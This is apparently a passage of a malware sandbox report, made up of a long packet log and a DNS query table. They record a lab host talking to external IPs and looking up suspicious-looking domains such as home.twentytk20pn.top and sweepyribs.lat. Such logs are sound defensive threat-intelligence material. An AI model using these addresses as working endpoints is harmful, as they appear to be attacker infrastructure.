Dec 18, 2024 15:56:35.761482000 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.762500048 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.762583971 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.762650967 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.762702942 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.763773918 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.763866901 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.763889074 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.764049053 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.764831066 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.764910936 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.764935017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.765083075 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.765829086 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.766161919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.766896963 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.766999006 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.767018080 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.767051935 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.768033028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.768127918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.768460035 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.768627882 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.769191980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.769346952 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.769404888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.770209074 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.770433903 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.770541906 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.771204948 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.771500111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.771784067 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.771872044 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.772679090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.772754908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.772830963 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.773890018 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.774235964 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.774419069 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.775048971 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.775178909 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.775325060 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.775393963 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.776427031 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.776504993 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.776614904 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.777545929 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.777653933 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.777721882 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.778707981 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.778851986 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.778872013 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.778949976 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.779731989 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.779808998 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.780026913 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.780970097 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.781003952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.781056881 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.781121969 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.782361984 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.782484055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.782532930 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.782578945 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.783246040 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.783394098 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.783499956 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.783693075 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.784501076 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.784631968 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.784638882 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.785626888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.785707951 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.786154032 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.786465883 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.787045956 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.787115097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.787210941 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.787285089 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.788103104 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.788177967 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.788223028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.788296938 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.789180040 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.789300919 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.789371014 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.789515018 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.844764948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.844774961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.844785929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.844791889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.844798088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.844804049 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.844816923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.844829082 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.844851017 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.845088005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.845093966 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.845101118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.845117092 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.845376968 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.845477104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.845652103 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.845860958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.846040964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.846049070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.846102953 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.846295118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.847059011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.847064972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.847078085 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.847116947 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.847254038 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.847771883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.847779036 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.847805977 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.847908974 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.847949028 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.848253965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.848464012 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.848757982 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.848763943 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.848776102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.848932981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.848989964 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.849664927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.849670887 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.849683046 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.849937916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.849982023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.850114107 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.850519896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.850680113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.850776911 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.850842953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.851011992 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.851186037 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.851383924 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.851391077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.851402044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.851649046 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.851710081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.851819038 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.852288008 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.852456093 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.852462053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.852611065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.852668047 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.853152037 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.853324890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.853332043 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.853344917 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.853353024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.853492975 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.854182959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.854188919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.854196072 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.854271889 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.854346037 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.854459047 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.855165958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.855171919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.855178118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.855304956 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.855504036 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.855587959 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.855981112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.856049061 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.856055021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.856108904 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.856188059 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.857044935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.857052088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.857063055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.857199907 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.857223988 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.857851028 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.857857943 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.857870102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.857889891 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.858372927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.858505011 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.858885050 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.858891010 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.858897924 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.858910084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.859052896 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.859076023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.859260082 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.859749079 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.859765053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.859771013 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.860084057 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.860112906 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.860635042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.860779047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.860785007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.860801935 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.861285925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.861342907 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.861479044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.861630917 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.861637115 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.861660004 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.862153053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.862189054 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.862533092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.862540960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.862552881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.862703085 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.862729073 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.863389015 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.863395929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.863539934 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.863549948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.863573074 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.863811016 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.864329100 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.864340067 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.864342928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.864499092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.864530087 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.865178108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.865349054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.865355015 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.865384102 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.865540981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.865850925 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.866055012 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.866070032 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.866077900 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.866219997 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.866245985 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.867077112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.867093086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.867098093 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.867819071 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.885385990 CET	49819	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:35.885442019 CET	443	49819	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:35.885919094 CET	49819	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:35.885919094 CET	49819	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:35.885952950 CET	443	49819	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:35.920618057 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.920773983 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.920870066 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.920870066 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.920932055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.921102047 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.921195030 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.921610117 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.922259092 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.922353983 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.922764063 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.922846079 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.923685074 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.923763990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.923835039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.923937082 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.924346924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.924452066 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.924495935 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.924573898 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.925004005 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.925138950 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.925345898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.925432920 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.926306009 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.926398039 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.926971912 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.927067995 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.927735090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.927839041 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.928217888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.928328991 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.928689003 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.928697109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.928949118 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.929858923 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.929994106 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.930182934 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.930371046 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.931071043 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.931078911 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.931184053 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.931996107 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.932092905 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.932341099 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.932480097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.932596922 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.932873964 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.932931900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.933176041 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.935616970 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.935731888 CET	49806	80	192.168.2.10	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 15:56:20.903806925 CET	192.168.2.10	1.1.1.1	0x9711	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:20.903897047 CET	192.168.2.10	1.1.1.1	0xab26	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 18, 2024 15:56:25.243742943 CET	192.168.2.10	1.1.1.1	0xde61	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:25.244667053 CET	192.168.2.10	1.1.1.1	0x5db0	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 15:56:27.995090961 CET	192.168.2.10	1.1.1.1	0x325b	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:28.139638901 CET	192.168.2.10	1.1.1.1	0x3e56	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:29.386612892 CET	192.168.2.10	1.1.1.1	0xfd7e	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:29.386667013 CET	192.168.2.10	1.1.1.1	0xa655	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 15:56:41.852118015 CET	192.168.2.10	1.1.1.1	0x14dc	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:50.618104935 CET	192.168.2.10	1.1.1.1	0xa141	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:54.093704939 CET	192.168.2.10	1.1.1.1	0x4b19	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:54.093808889 CET	192.168.2.10	1.1.1.1	0xac62	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 15:56:54.806098938 CET	192.168.2.10	1.1.1.1	0xe8fc	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:54.973385096 CET	192.168.2.10	1.1.1.1	0x7193	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 15:56:56.051429033 CET	192.168.2.10	1.1.1.1	0xfbf9	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.051769018 CET	192.168.2.10	1.1.1.1	0xe05b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.191248894 CET	192.168.2.10	1.1.1.1	0x7c74	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.194721937 CET	192.168.2.10	1.1.1.1	0x95da	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.382282019 CET	192.168.2.10	1.1.1.1	0x6e13	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.383346081 CET	192.168.2.10	1.1.1.1	0x193f	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 18, 2024 15:56:56.383871078 CET	192.168.2.10	1.1.1.1	0x83d	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 15:56:56.520839930 CET	192.168.2.10	1.1.1.1	0x3ee8	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.661890984 CET	192.168.2.10	1.1.1.1	0x7787	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 18, 2024 15:56:57.072464943 CET	192.168.2.10	1.1.1.1	0x328e	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
